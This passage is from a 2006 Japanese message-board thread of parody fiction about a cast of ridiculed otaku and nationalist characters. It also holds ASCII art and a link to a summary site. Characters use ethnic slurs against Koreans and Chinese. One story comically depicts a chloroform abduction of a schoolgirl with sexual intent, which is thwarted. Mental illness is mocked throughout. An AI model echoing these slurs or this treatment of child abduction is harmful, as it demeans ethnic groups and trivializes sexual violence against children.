ジバク「戦争はアメリカ軍に任せるべきであり、それで浮いた費用で
わしのような愛国的な上流階級に月15万円の愛国者年金とゆうこりんのデリヘルを
月一で派遣してもらうんじゃよ」
林間「いいや、小野寺優子よりボク好みのヴァルキリーたんみたいな女の子ををソープ嬢にして
ワーターシーノーコー」
キモ味「うぐぅ、近所の黒髪の女の子の家に行ってPCを教える方がボクは幸せだよもん。
ああ、X田ちゃん…君を後ろからそっと抱きしめたい…」
林間&ジバク「お前には聞いてない!師ね!」
キモ味「ボクをバカにするな!!!1!!童貞!1!!!絵に売れfvhれういfhるい
不意v不意pvjぴjヴィぷtjヴぃlるthgヴいthgぷいtふぉ!!!」

鳥坂「あいつら何話とるんや?防衛論の話題かと思ったら、いきなり性欲丸出しの会話になったぞ。」
吉田「まぁ、会話のつながりがおかしいのは、あの三人衆にありがちなことだから。」

36 :名無しかましてよかですか?:2006/09/13(水) 01:00:01 ID:rR1PPDD4
数分後…
林間「よーしーだー」
吉田「なんですか?」
林間「ジバクの奴がひどいんだ。俺の持論である『戦時には俺を師団長にすべし』
を否定しやがるんだ。」
ジバク「林間先生はわしを統合幕僚長の座から引きずり落とそうとするんじゃよ」
林間&ジバク「吉田、お前はどう思う?」
吉田「…そもそも林間先生とジバクが師団長やら統合幕僚長になろうという事自体に
無理があるよ。どこの世界に35歳までニートやってた奴や母国語すら満足に喋れず、
労働意欲ゼロのニートになる気満々のアホを師団長や統合幕僚長に据える国があるんですか?」
ジバク「う、うるさいんじゃよ!11!わしはチョンやチャンコロや在日、DQN、カップル、
犬、幸せな奴を滅ぼすために陣頭指揮を執らねばならんのじゃ!!!!
そのためには制服組トップたる統合幕僚長の座が必要なんじゃよ!!!!」
林間「俺は自主国防論者で愛国者で、その上大卒だぞ!!1!どこに不安がある!!!
これまでネットでアンチコヴァを1000人切りしてきたし!1!!」
吉田「だから、あんたらの妄想が現実になる可能性はゼロなんだってば。
そんなになりたきゃ、脳内でセルフ師団長でもセルフ統合幕僚長にでもなってくださいよ。
脳内なら誰にも迷惑はかけませんよ。あ、ジバクはもう脳内統合幕僚長になってるかw」
林間&ジバク「お前に聞いた俺たちがバカだった!!1!」
翌日から二人がますます憎悪をこめて吉田に粘着するようになったのは言うまでも無い。

37 :松沢軍団異聞録:2006/09/14(木) 08:02:31 ID:HvY/CSoI
都立松沢軍団、控え室。
軍団員A「あー、転職しようかなあ・・・」
軍団員B「どうしたんだ一体」
軍団員A「いやぁ、この仕事辛いわ」
軍団員B「仕事は辛いものだぞ」
軍団員A「そうじゃなくて、オレ、前は証券会社に勤めていたんすけど公務員に
転職できてやったと思ってたんですよ。そしたらここ、給料三分の一で勤務時間
前の会社より長いし、むしろ週末休めないし年末年始はコミケ会場警備だし」
軍団員B「都民の安全を守るためにだなあ、我々は」
そこに軍団員C登場
軍団員C「おーい、これ見ろよ」
手には「内閣府特務機関、徴農ニート開発機構より職員募集のお知らせ」
軍団員C「これみるとさ、主に農業支援担当募集してるんだけど、他にも
生活指導担当として精神病院等勤務経験者も募集してるみたい」
軍団員A「おおっ」
軍団員C「30歳で年収500万以上は保証して、かつ、完全週休二日各種社会保険アリ
勤務時間8時間以内残業代完全支給!」
軍団員A「うはwwwww、そーだよなー。ウチなんてほとんど休み無いし、残業代
必死こいて稼いで何とか月給が30万にのるくらいだもんなー」
軍団員C「でも勤務地田舎なんだよ。オレは実家のある岩手に戻れそうだから応募するけど」
軍団員A「じゃあ・・・、オレはやめとくか。でも、実はオレ、ヨシダ先生から実家の財務担当
で働かないかって誘われてるんだよねえ。経歴知って誘われたんだけど」
軍団員C「それもいいじゃないか、よーしじゃあ今から自己理由による退職願を・・・」
そこに・・・
免下「何をやってる?そこ」
軍団員「ええと、退職願を・・・ん?」聞いたことのある声
免下「ほぉ、貴様ら私に逆らおうと」嫌な音がし始める
軍団員「うぎゃあああああ」こうして、都立松沢軍団の人員は確保されていたり

38 :松沢軍団異聞録:2006/09/14(木) 08:04:54 ID:HvY/CSoI
安倍政権になったら、やはり、このスレも
「松沢軍団&女医達」VS「安倍政権徴農軍団」になった方が面白いのではないかと
考察

39 :名無しかましてよかですか?:2006/09/14(木) 09:02:40 ID:3YihrigL
    
   / ̄/      ̄ヽ          _____________
  //  /         ヽ        /
  ||||  -=・=-  -=・=-  ヽ     / ジバクちゃん日記の中の綺麗なお姉さんって・・・・
  | .|| ||  `ー'(、●^●,)ー'   ヽ  
 |  | ||    ノトェェイヽ     l <    やっぱりキモ味のことが好きだったんじゃん。><
 |  | ||     ヽ`ー'ノ     /  \
  | i ゝ             /    \ 
 / /∧|\___。つ._--      \
                         ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

40 :国際学校前の戦い:2006/09/15(金) 00:27:51 ID:4v1oF114
エイトプリンスシティインターナショナルスクール。各国の外国人子弟のために作られた
小中高の3学校を併設する東京西部最大の外国人学校である。
そこの近くに林間カヅフサ、守本紳八、肝井味平、千葉ヒサユキの4人がいた。
4人はめいめい、「扶日●滅米」と書かれたハチマキを巻いていた。
ちょうど小学校の授業が終わったらしく、児童たちが下校を始めていた。
4人は端正で可愛らしい北欧系の女の子を見つけると、その子に近づき、
学校からかっぱらってきたクロロホルムを嗅がせて眠らせ、連れ去ろうとした。
ハチマキをしているので、4人で反米デモでもやるのかと思ったら、
どうやら真の目的は少女の拉致のようである。
林間「やった!やった!鬼畜米英の娘を一人捕まえたぞ!!1!!」
守本「早く帰って種付けをしたいですつ」
キモ味「うぐぅ、鍵とエヴァとハルヒとツンデレと理系たんと幼女は最高だよもん」
ジバク「あぁ、はやくわしの欲望を解放したいんじゃよ」
その時、後ろから「ちょっと待て、貴様ら!」という声がした。
後ろを振り向いた瞬間、キモ味は顔が真っ青になった。
そこには、かつて中華学院で同じように女の子をさらおうとした時に、担任扮する室外機マンVieと共に
彼らの犯罪を止めた玄徳、翼徳、雲長、亮の4人(6代目スレ>>647-650参照)がいたのである。
ジバク「こいつらはチャンコロ学校の生徒じゃよ!!なぜここにいるんじゃよ?」
玄徳「中学校に進学したんだよ、で、この学校に来たんだよ。」
どうやら中学生の下校の時間になってたらしい。
雲長「お前らも飽きないなぁ。しかもそのうち二人はいい年したおっさんじゃねーか。恥ずかしくないの?」
亮「前回の二人がいないな。改心したのかな?」
翼徳「おい、そこのキモい顔のデブ。もう一回金玉を潰されたくなければその子を放せ。」
ジバク「いやなんじゃよ。この子は我ら大日本帝国軍海武学園分隊が慰安婦として接収するんじゃよ。
おい、ツンデレスキー君、あの汚らしいチャンコロを懲らしめるんじゃよ。」
以前、彼らに片方の金玉を潰されたトラウマを抱えているキモ味は震えながら前に出た。
林間「肝井。この作戦が成功したら好きなギャルゲーでもエロゲーでも買ってやるぞ。」
キモ味はこの一言で自分を勇気付けようとした。そして、10秒後…

41 :国際学校前の戦い:2006/09/15(金) 00:32:23 ID:4v1oF114
身構えて迎撃体制をとった4人に対し、キモ味は攻撃を仕掛けようとしなかった。
いや、キモ味はうつろな目でよだれを垂れながら、ポークビッツをおっきおっきさせていた。
説明しよう!今キモ味は彼の脳内にあるどんな男も女性化してしまう
世にも恐ろしい女性化フィルターを通して4人を見つめている。
そのため、今彼の目の前にいる4人は、キモ味の目にはかわいい美少女に映っていた。
ポークビッツがおっきしているのはそれに欲情した為である。
さて、それから2分、キモ味は相変わらずよだれを垂れ流し、ポークビッツをおっきさせていた。
しびれをきらした翼徳が攻撃を仕掛ける。その時、いきなりキモ味はズボンとパンツを下ろし、
ポークビッツを空気中に晒した。それを見たショックで遠くから戦いを見守っていた
生徒十数人がPTSDになった。翼徳は反射的に目をふさいだが、ちょっと見えてしまった。
翼徳の口の中に酸っぱい物がこみ上げてくる。数秒悪戦苦闘した後、何とか飲み込んだ。
そして背後に回るとキモ味のズボンをあげて、後ろから蹴り飛ばした。
卒倒するキモ味。しかし、すぐに立ち上がってこう言った。
キモ味「栞たん…いけないじゃないか。いくらツンデレだからといって全力で
後ろから蹴飛ばさなくても…ボクらは恋人同士なんだから、優しくしてよ!!!」
この時、翼徳はキモ味が別の世界の住人になっているのにようやく気が付いた。
すると翼徳は何かを思いついたらしく、キモ味に猫なで声でこう言った。
翼徳「ご主人様〜、川の中にメガネを落としたんです、取ってきてくださいませんか?」
翼徳は自分でもこんな声を出してキモいと思った。キモ味は「はいは〜い、ボク、栞ちゃんの
言う事なら、何でもきくんだよもん」何の疑問も持たずに言って、川のほうに行くと、
橋から身を投げた。あの川は流れが速いから、当分戻ってはこれまい。
玄徳「さ、その女の子を早く返せよ」
林間「ええい、キモ味なんぞ前座中の前座だ!ジバク、行け!」
ジバク「ラジャーなんじゃよ」
ジバクは背中に担いだ魔改造エアガンを構えると、無差別にぶっ放した。
4人だけじゃない、まわりで戦いを見守っていた人たちも被害を受けた。
4人は地面に伏せて顔を隠し、必死で防御体勢をとった。

42 :国際学校前の戦い:2006/09/15(金) 00:33:54 ID:4v1oF114
数分後、エアガンの音が止んだ。どうやら弾が尽きたらしい。ジバクは急いで腰にぶらさげた
エアガンの弾の袋を取り出すと、補充を始めた。そこへ、観客の一員だった高校生の白人と
黒人の二人がジバクからエアガンを取り上げてへし折り、ジバクにこう言った。
黒人「おっさんええ度胸しとるやんけ。ちょっとこっち来てや」
白人「そんなことしちゃいけんねぇ、ちょっとこっち来んさい。ぶちまわすけん。」
ジバク「ああ・・・あわわわわわわあさいじゃあじゃういっういいfじしwjwしじ@jf
李gjrgj@れgれg@gj@gjgfりjふぃcじでいd@jtヴぃtj…」
ジバクは物陰に連れて行かれた。おそらく半殺しになるだろう。残りは林間と守本だけだ。
雲長「おいおっさん。いい年してこんな真似して恥ずかしくないのか?
お前ら恥の概念はないのか?」
林間「う、うるさい!!1!!特ア人のおまえらになにがわかるかんしゃくおこす!!!!1!!
俺らはなぁ、貴様らクソ特アや米帝の侵略から守るために、誰にも褒められないのに
孤独に戦っているんだぞ!1!!!つまり!1!!今の日本があるのは俺らのおかげだ!11!!」
周囲から「うわぁ」と言う声が聞こえる。中には、明らかに基地外を見る目で林間たちを
見ているものもいる。その時であった。二人の前に空から一組の男女が降り立った。
室外機マンVieと室外機マン2号である。周りから、「Oh!TOKUSATSU Hero!」という声があがった。
担任「ありゃ?出動の際のターゲットはキモとジバもいたはずなのに」
林間「キモ味のアホはあの橋から身を投げた!ジバクのアホはその辺でDQNにボコられとる!!」
担任「なんだって!そりゃいかん!!あいつついに身投げしたか!今なら間に合うか!?」
担任はそういうと川の下流方面へ飛び立った。

43 :国際学校前の戦い:2006/09/15(金) 00:37:02 ID:4v1oF114
林間「自殺じゃないんだけどな。それはそうと、そこの女の子たん、お名前なんていうの?
おじさんといい事しないかい?お金ならあるよ。」
メグミ「何寝ぼけたこと言ってんのよ!室外機マン出動規約に基づいて、林間カヅフサ、
守本紳八、貴方たちを松沢病院に引き渡すため取り押さえます。ちなみに病院には
もう通報済みだから、あと数分で来るわよ。」
林間「そんなことはいいからさー。おじさんと一夜を共にしないかい?
それとも、いまから紅葉を見に行くかい?そしたらこの女の子は解放していいよ。
守本先生、二人がかりならこの娘を取り押さえられるはずです。やりましょう」
守本「そうですつね。ボクチンに任せてください。」
メグミ「女だからと思って甘く見ないでよ!室外機マン大極(8代目スレ>>224参照)さん、
貴方から以前貰ったプレゼント、今使わせてもらうわ。「剛力」モード!」
メグミは彼女を取り押さえようと近づいてきた林間と守本を軽々と持ち上げた。
体重40キロ弱の林間はともかく、推定0.1トンの守本を片手で軽々と持ち上げたその姿に
人々は驚きの声を上げた。完全に二人はお手玉の玉状態だ。
そうしているうちに黄色い救急車が来た。まず、林間と守本が救急車に積み込まれた。
次いで、ボロクズのようになったジバクを、それから20分後、最後に土左衛門になりかけていた
キモ味を積み込んだ松沢の黄色い救急車は走り去り、室外機マンもまた、帰っていった。
帰っていく室外機マンたちに戦いを見守っていた生徒たちは惜しみない拍手で送った。


コヴァ「あの…ボクチンの出番は…」

44 :みくし上場記念:2006/09/15(金) 15:41:35 ID:UH4lfR7U
吉田「あー、今日も疲れた」
今日は林間が何故か担任の日本史の時間にも乱入して暴れたため、吉田はげっそりと
疲れていた。放課後コヴァはいちもくさんに秋葉原へ移動し、鳥坂も今日はケガの検査入院で
休んだから久々に一人で帰ることに。
担任「おい、吉田。ちょっと」
そんな吉田を担任が呼び止めた。
吉田「どうしたんですか?」
担任「みくしって知ってるか?」
吉田「ああ、あのブログみたいなヤツですよね」
担任「うん、それそれ。実は先生やってるんだ」
吉田「へえ・・・、でもああいうのって荒れるでしょ?」
実は少し前、上の姉のブログが炎上というかストーカー被害(犯人は勿論アイツ)に
あったため吉田はそういうものに対し少し抵抗感があった。
担任「いや、そんなことない。本名登録は必須だけど、知り合いや親しい友人のみに
公開することもできるし」
吉田「へえ、それはいいなあ」
担任「でな、先生こういうコミュニティ入っているんだ」担任はパソコンを見せた。
そこには「他人に一方的に迷惑をかけられている人専用コミュニティ」とあった。
吉田「・・・」
担任「ここにはな、バベルの皆本さんとか、ガンマのシンタローさんとか色々・・・」
吉田「・・・なんとなく、断っておきます。なんとなくですけど」

45 :名無しかましてよかですか?:2006/09/15(金) 19:08:17 ID:dzdB6/C/
        , - ー - 、
      /: . : . : . : . : . : . :ヽ、
      /:/: . : . : . :i: . :r、:,、: . : . ヽ
    /:/: .、/: .:l: ./: . /ヽ'|:.i: . : . : ',
    レ|: . /lr、\/|: /  //|: /|: . : .l
      ゝ:|l l:::::`i l:/  ==ニ、l: . : l
    /: // l:::::::l   l:::::::::l /: . /l
    |:./:ヽ   ̄r - 、ヽ :::ノ/: .//
    レ ヾ'ノ> 、l   l  /イ:/   >>40-41
          >t- イ イハノイ/     嘘だッ!!!!
         /ヾr‐イーゝ
        l‐/ `l/ 丿
        `|  , l、ヽイ
         l゙ 「/ /辷l
        (/ ´ l,:i i : ',
        /ゝ、 ノ:l:l: : i',
       //: :l:´: :‖: : l:',
       ` - t、:_:_:l_:, :, i ゝ
          |-|- |
         ,,l十-|、
       r ´; ; /ー‐;ヽ
       l; ; ; /; ; ; ; ; ;l
       ーイ、__ノ


46 :24歳:2006/09/17(日) 10:36:00 ID:ma3717WE
昭和57年、ある町の住宅地にある三件の家にそれぞれ男の子が生まれた。
一人は吉田繁。教師の両親を持つ子である。
もう一人は菊地正男。普通のサラリーマン家庭の子である。
最後の一人は肝井味平。地方公務員を父に持つ子である。
三人はアトピー気味だった正男を除くと、大きな病気もせずすくすくと成長。
家がそれぞれ隣ということもあってか、家族ぐるみで付き合い、三人は大の仲良しとなった。
しかし、小学校に入ると彼らに試練が訪れた。いじめの洗礼である。
幸い、三人の中で一番処世術を心得ていた繁は難を逃れたが、他の二人はその後、
6年間も地獄の苦しみを味わうようになった。それでも校外では三人の友情は続いた。
正男は悔し紛れに必死で勉強をし、小学校高学年の時にはトップクラスの成績になっていた。
そして中学校。正男は全国的に知名度の高い有名私立中学校に進学、
一方で繁と味平は公立中学校に進学した。中学校では進路について散々担任の頭を悩ませるも、
二人は無事、別々の高校に進学、正男も自動的に高校に進学した。
高校一年生から高校二年生のとき、三人は某漫画家の戦争漫画にとりこになった。
とりわけ、授業についていけず成績が良くなかった正男はこの本を
某精神科医兼受験研究家の受験本と共に心のよりどころとした。
そして高校卒業。繁は近所の私立大学へ進学、正男は周りが止める中、
東大を受験するが不合格、浪人生活に入り、味平は何も進路を決めてなかったので、
当面の間、フリーターをする事になり、三人の中で一番先に社会人になった。
一年後、三人の人生を変える大きな転機が訪れる。
繁は大学を辞めて休眠期間に入り、その後、再び大学受験を志す。
正男はネット掲示板にはまった所為もあり、ろくに勉強せぬまま受験期に突入、
あえなく玉砕、その後、精神の疲労もあってか、病院での療養を余儀なくされた。
味平はこの頃、某アダルトゲームメーカーの出していたゲームにはまり、給料のかなりを
これらのアダルトゲームにつぎ込むようになった。これ以降、味平の心のよりどころは
政治思想から、これらのアダルトゲームに移行していく。

47 :24歳:2006/09/17(日) 10:37:47 ID:ma3717WE
一年後、病院を退院した正男は両親の斡旋で印刷工場の工員になった。
繁も公立大学に合格、再び大学生となった。
…それから4年。三人は24歳になった。
大学を卒業した繁はIT系の企業に就職、営業課に配属され、
忙しいながらも比較的充実した毎日を送っている。
正男は当初、渋々印刷工場で働いていたものの、地味に働いているうちに
「クリエイティブな仕事に就きたい!」という考えはどこかへ行ってしまった。
90キロ近かった体重も70キロ前後まで落ち、最近は給料も上がり、
入院期に最悪だった彼の精神はすっかり健康を取り戻した。
友人もぽつぽつと増えてきた。
結婚はまだまだ遠いが、そのうちたどり着くだろう。
味平は相変わらずフリーターをしていた。親からは正社員になれといわれるも、
「正社員は奴隷だ。」と一蹴し、耳を貸さなかった。
職場では、そのわがままな性格からバイト仲間からは嫌われていたが、
彼は「あいつらはボクとは違う、DQNなんだ」と思い込んで、事実を隠した。
ネット掲示板でも彼の傍若無人なわがままはいろんな人から叩かれるが、
味平は「キモオタ」のレッテルを貼り、時には「本当はボクの事が好きだけど、
ツンデレだから本当の気持ちを隠してボクを叩いている」として
現実でもネットでも頑として自分の非を認めることは無かった。
ストレスがたまれば、普通はスポーツなり何なりして発散させるものだが、
彼は掲示板を荒らして回りに迷惑をかけてストレスを発散していた。

過ちをいち早く認め、最善の対策をとることで物事を良いほうにしてきた繁、
道を大きく踏み外しながらも、就職をきっかけに心身ともに成長した正男、
自分の非をすべて他人のせいにし、破滅への道を突き進んでいく味平。
三人の24歳の青年の人生はまだまだ長い。

48 :名無しかましてよかですか?:2006/09/17(日) 19:25:49 ID:a00JoJHb
                   ._____  
                ./ ̄/ノゝ::::::::  ̄ヽ 
    ⊂⌒⊃       ..//  /  -‐ヽ::::::{‐-  ヽ
               .| | | | ‐= =-:::::::::-= =‐ ヽ      ⊂⌒⊃
           ___| .|| ||  `ー'(、●^●,)ー'   ヽ__
     ⊂二二二_     | ||   :::ノトェェイヽ::    l  _二二⊃
             ̄ ̄|  | ||    :::ヽ`ー'ノ::    / ̄
               | i ゝ     :::::::      /  ふあははっは!
. ⊂⌒⊃        //∧| \___。つ._--   
                   ・  ю        
                   ・  ю
                  ・  ю
                  ル  ю
                 ル  ю
                ル  ю
               ル    ю
              ヒュ   ю
      キメエ!       ヽ::(  ヽ::( キモイ!
            ヽ::( ワー  )ノ ワー )ノ  
               )ノ.     ┏┓:::::/从  ワー
   ┏┓     从┏┓ 从 ┃┃.)ノ┏┓从 ┏┓     .┏┓
   ┃┃ ┏┓  ┃┃┏┓┃┃从┃┃.......┃┃ ┏┓...┃┃


49 :遠征:2006/09/17(日) 20:27:56 ID:ma3717WE
海武学園2年1組
肝井「うぐぅ。ボク美少女なのです。」
生徒「誰?あれ。きめえんだけど」
生徒「8組のアレだよ。肝井味平とかいう奴。」
生徒「ああ、あいつね。エロゲヲタでアニヲタでいきなり人を同類認定するやつだろ。」
生徒「噂では気に入られると奴にストーカーされるらしいからな、無視無視。」
肝井「うぐぅ、かまってよーかまってよーせっかく8組から来てやったのに。」
肝井はスルーされた。みんな肝井と目を合わせないようにしていた。
肝井「美少女が来たのに、なんでかまってくれないの?
みんなキモオタだから三次元の美少女には興味ないって?」
全員心の中で「女装しているお前の方がキモヲタだろ!つか、オカマきめえ」と突っ込んだ。
それでも、相変わらず平静を装い、スルーし続ける。
肝井は教壇に立ち、吉田とコヴァの写真を黒板に貼って解説を始めた。
肝井「こいつは木場といって、ピザデブの分際でボクを馬鹿にする悪い奴です。
おまけに最近、ボクは何にも悪いことしてないのに松沢病院に入院させられて、
こいつだけ見逃されます。一般人への差別ですよね!1!!許せません!!1!
こいつは吉田といって、ロリコンの陵辱エロゲーをやるキモオタの分際で
ボクをバカにする悪い奴なのです。きっとボクのかわいさに嫉妬してるんです!!1!
皆さんはこのような奴をどう思いますか?」

しーん

肝井は手足をばたつかせてわめきだした。
肝井「何でみんなボクのことをスルーするんだよ!!1!!
8組じゃみんながいじめるからこのクラスに遊びに来たのにー!1!!!
ボクをかまってくれないなんて人間じゃない!1!!!!
ぶぇあああああ!!!!1!びぃえああぁぁああぁぁあああ!!!!!!1!」
あまりにうっとおしすぎる。すると、教室に担任が入ってきた。
担任「な…授業に来たら、何やってんだ肝井ー!!」
肝井「うぐぅ、逝き人さん、1組のみんながいじめるんですぅー!!1!」
担任「はいはい、どうせかまってかまってとわめいたりしていたんだろ。」
担任は肝井を教室の外に放り出した。それをみて生徒たちは「GJ!さすが国崎先生」と思った。

50 :名無しかましてよかですか?:2006/09/17(日) 20:52:07 ID:y7qPHFoK
どうせなら、本当に見えないフリして授業を始めたりするともっと面白かった(w

51 :学園KOVAまとめサイトの中の人:2006/09/18(月) 00:06:55 ID:/5NCaxJn
http://www.geocities.jp/gakuen_kova17/

前スレ過去ログ落ちしたので当サイトにて補完。
それだけ。

52 :名無しかましてよかですか?:2006/09/18(月) 18:21:09 ID:r8iXJBLi
 ┌──────────────‐┐
 |              ┐      ┐  │
 |  キ  し  見  妹  字  株   │
 |  モ  ま  .え └   が └    │
 |  味  う   て  に      と    |
 |      ほ           い    |
 |     ど             う   │
 │       ,. -ー冖'⌒'ー-、         |
 └───‐,ノ         \ ――─┘
       / ,r‐へへく⌒'¬、  ヽ
       {ノ へ.._、 ,,/~`  〉  }    ,r=-、
      /プ ̄`y'¨Y´ ̄ヽ―}j=く    /,ミ=/
    ノ /レ'>-〈_ュ`ー‐'  リ,イ}    〃 /
   / _勺 イ;;∵r;==、、∴'∵; シ    〃 /
  ,/ └' ノ \   こ¨`    ノ{ー--、〃__/
  人__/ー┬ 个-、__,,.. ‐'´ 〃`ァーァー\
. /   |/ |::::::|、       〃 /:::::/    ヽ
/   |   |::::::|\、_________/'   /:::::/〃
!     l   |::::::|  ` ̄ ̄´    |::::::|/
    ノ\ |::::::|            |::::::|


53 :名無しかましてよかですか?:2006/09/18(月) 18:26:39 ID:M8XJCMdj
>>52
馬鹿じゃないの? 妹属性なんてありませんが。
おまえが"株"が"妹"に見えたんだろwww?

54 : ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/09/18(月) 18:43:36 ID:Bjk1Ejbm


      ______  
   / ̄/      ̄ヽ         
  //  /. , ─ 、   , ─ 、      
  | | | | i .● )  i..● )ヽ   
  | .|| ||  `ー'(、●^●,)ー'   ヽ 
 |  | ||     iuUuui.     l
 |  | ||    ´|,-v-、| `   /  ブツブツ
  | i ゝヾ   ヽニニノ    /   
 //∧| \___。つ._--     
    /    \
||\ ̄ ̄ ̄ ̄ ̄ ̄ \
||\\.          \     ∧_∧
||. .\\          \   ( ;´Д`) (オイ、またキモイのがブツブツ言ってるぞ)
     \\          \ /    ヽ.
       \\         / .|   | |
        \∧_∧   (⌒\|__./ ./
          ( ´,_・・`)目合わせるなって ∧_∧
.         _/   ヽ          \  (     ) うわー、こっち見てるよ、きめえ!


55 :天災ニート来襲:2006/09/19(火) 10:31:30 ID:TeM8Xd+O
ある朝
担任「…今日も肝井と千葉は休みか!!いったいあいつら何を考えているんだ!!!
これで10日目だぞ!!!ただでさえ出席日数が足りないというのにブツブツ…
林間も守本も…やめられたら俺だけが被害を受けるんだ…ブツブツ…」

その日の夕方、担任の携帯に電話がかかってきた。
担任「ああ、コヴァ?どうしたんだ?」
コヴァ「ニッキョーソ!!とんでもないことがわかりましたにょ!!
町を歩いていたら、キモいのとジバクと林間先生がいたんで、追跡調査をしたら、
ある家にたどり着いたんですつ」
担任「家?」
コヴァ「はい。『天災勝ち組養成所』って所に…」
担任「よし、俺も行く。場所を教えてくれ。」

15分後、コヴァと担任と吉田(行くときたまたまいたので連れて来た)は
一軒の家の前に来た。その家は、どこにでもある住宅街の小奇麗な一軒家であった。
…家の前の塀に「天災勝ち組養成所」とかかれている以外は…
担任は決心してチャイムを押した。数秒後、年老いた女性が恐る恐る扉を開ける。
老婆「ど…どちらさまで?」
担任「私は海武学園高等部の国崎と申します。そちらのお宅にうちの生徒と教員が
お伺いしているときいたのですが」
老婆「あ、ああ…はい…気をつけて…ください…」
老婆は担任たちを家の中に入れた。
老婆「お宅の生徒さんたちは今2階にいるはずです…ではお気をつけて…」
担任は二階に上がり、扉を叩く。すると、体重100キロはありそうな、
コヴァに勝るとも劣らないピザ男が顔をのぞかせた。
男「何だ貴様はぁ〜!!」
担任「そちらにうちの生徒や教員がお伺いしているはずですが」
男「そんなもんはいねえ!!おととい来な!!」
男はドアを乱暴に閉めた。担任は少しの間何かを考え、こう言った。
担任「おーい!肝井ー!ここに涼宮ハルヒのフィギアがあるぞー!!」

56 :天災ニート来襲:2006/09/19(火) 10:34:30 ID:TeM8Xd+O
すると、ものすごい勢いで扉が開かれ、肝井が中から飛び出してきた。
肝井「どこどこ!!ボクのハルヒたんどこ!!あっ、逝き人さんと吉田君と木場君!!!」
担任はすかさず、室内に入り込んだ。
男「貴様ー!!俗物の分際で神聖なるわが部屋に入るとは、いい度胸しているじゃないか」
担任「俺が用事があるのはそこの三人だよ。ほら、肝井、千葉、林間、守本、帰るぞ」
守本「嫌なんだな。ボクチンもう仕事したくないんだな」
林間「俺はやはり分泌業で暮らす!!」
千葉「高等遊民は仕事をしないんじゃよ〜。仕事なんてあほらしいんじゃよ〜」
肝井「うぐぅ、ボク、将来ニートになることにしたよ。」
男「ワハハハハ!彼らは俺の教える真の勝ち組論に心酔した!!
もう愚かな俗物どもの言うことは聞かん!!」
吉田「勝ち組ってニートのことですか?バカだろ、お前。まぁ、ニートが勝ち組なんて
デンパ理論に心酔するそこの4人もお前と同じくらいバカだけどな。」
男「バカだと!!!俺は突撃東北塾で真の勝ち組というものを学んだ
エリートだ!!勝ち組なんだよ!!」
コヴァ「まぁ、確かにニートは若いうちは勝ち組でしょう。
しかし、長い目で見れば、破滅しか待ってませんにょ。」
男「反吐が出る善人ぶった大衆共が自分達の道徳に反する存在をを悪にしたてあげ、
大衆論法を用いて叩いて道徳的高揚心を満足させて悦に入ってるんだろ!!!貴様らは!!!」
担任「バカか?おれとしては、こいつらの将来が心配なんだよ!!お前にはわかるまい。
人間ってのはな、毎日毎日胃に穴が開く思いで(俺は実際に開いたけど)生きるために
必死でがんばっているんだ。ニートが勝ち組?バカ言ってんじゃねーよ!
お前は親御さんが死んだり、家を追い出されたらどうするんだ?どうやって生きていくんだ?」
男「知るか。気にしたってしょうがない。少なくとも今の時点では俺は最強だ。」
吉田「親の胸先三寸で崩れるなんてずいぶんと脆い最強の座ですね(嘲笑)」
男「親の胸先三寸で変わろうが俺が最強なのには変わりない。お前らが額に汗して働いて
必死に生きてるのに俺は他人の金を採取して遊んで暮らせるんだ。
どうだ?羨ましいだろ?まあこう言うとゴミ道徳を持ち出して
「働かざる物食うべからず」とか言う名言を持ち出すんだろうが。」

57 :天災ニート来襲:2006/09/19(火) 10:36:03 ID:TeM8Xd+O
コヴァ「話をループさせないでください。あなたはパパンやママンが死んだり、
家から追い出されたらどうやって生きていくんでしゅか?あなたの言葉には
未来とかの話がまったく無いですね。現在!現在がすべて!でしゅか?
未来の無い最強の座ww片腹痛い最強でしゅね。笑える。」
男「と、とにかく、未来はどうあろうと、現時点で俺は最強にして究極!!!!
俺は最も人間らしく賞賛されるべき存在なのだからな!!!!」
吉田「どこの誰が賞賛するんだよ…あほらしい」
男「俺はもっとも人間らしく、人間が暮らすべきの様に暮らしてるんだから
ありとあらゆる人間から賞賛されるべきだ。」
担任「でも誰もお前を賞賛しないよな。ここの4人以外は。お前の親御さんは賞賛したのかい?
近所の人にでも聞いてみるか?ニートは賞賛されるべき存在ですよねって」
男「…」
コヴァ「なんだ、願望がソースでしゅか。笑える。つまりリアルで馬鹿にされてて、
耐えられなくなり僕珍はホントは偉いんだ誉めろとファビョっていると。
笑える。笑いすぎで死にますにょwww」
男「うおdrいdgふおgh!!!大体どっから見ても完全に正しい天才の
突撃東北塾塾長閣下がニートは偉いって言ってるから俺は偉いんだよ。」
吉田「それ、なんていうオウム真理教?」
男「愚昧で通俗道徳に踊らされている哀れな俗物め!!!!
貴様にはそうやって中傷するしか能が無いんだろうな!!!!!!!!
貴様には突撃東北塾の理論の新鮮さはわかるまい!!!!!!!!!!!!!」
コヴァ「詭弁のガイドラインそのままでしゅね『新しい概念が全て正しいのだとミスリードする』」
男「ええい!これだから通俗道徳に踊らされている愚昧な俗物の善人どもはだめなんだ!!!!」
担任「つーか、そんなに世間がいやなら、山にでもこもって仙人にでもなれよ。
世間におんぶに抱っこしてもらっている分際で世間を見下すって意味がわかんねぇ」

58 :天災ニート来襲:2006/09/19(火) 10:37:16 ID:TeM8Xd+O
男「ふざけんな!!!俺は勝ち組で最強で究極にして至高で偉くて正しくて
憂いvj費pvjt類pgjht類pghtrgぷいgjhるいpてgjhrgぷtれjgついgbp
憂いf秘奥gh路g経る尾gfhるgへうおghぎおthrぐ!!!!!!!!!!!!!!!」
脳内世界を破壊された男は大暴れし始めた。家が大地震が来たかのように揺れる揺れる。
担任たちは林間たちを連れて脱出を試みる。階下で男の母親が「あんたたち、早く逃げなさい!!」
と叫んでいる。最後尾の守本が家を出たとたん、男の家は完全に崩れ落ちた。

1ヵ月後、男は悪叉駄塾ニート更正キャンプにいた。
悪叉駄ユリコ「オラオラ、そこ!休んでんじゃねーぞ!!休憩は3時間後だ!!!
今まで遊び呆けていたんだから、きりきり働け!!!お前らはここを卒業するまでの
3ヶ月間はウジ虫だ!!地球で最下等の生命体だ!!!」
男「お、俺は俗物の言うことは〜」
悪叉駄「やかましい!つべこべ言うな!!そういうくだらない働かないための言い訳を
している暇があったら手を動かせ!!首切り落としてクソ流し込むぞ!!!」
男「通俗道徳が〜」
悪叉駄「うるせえ!セイウチのケツにド頭つっこんでおっ死ね!それとも、去勢してやろうか?
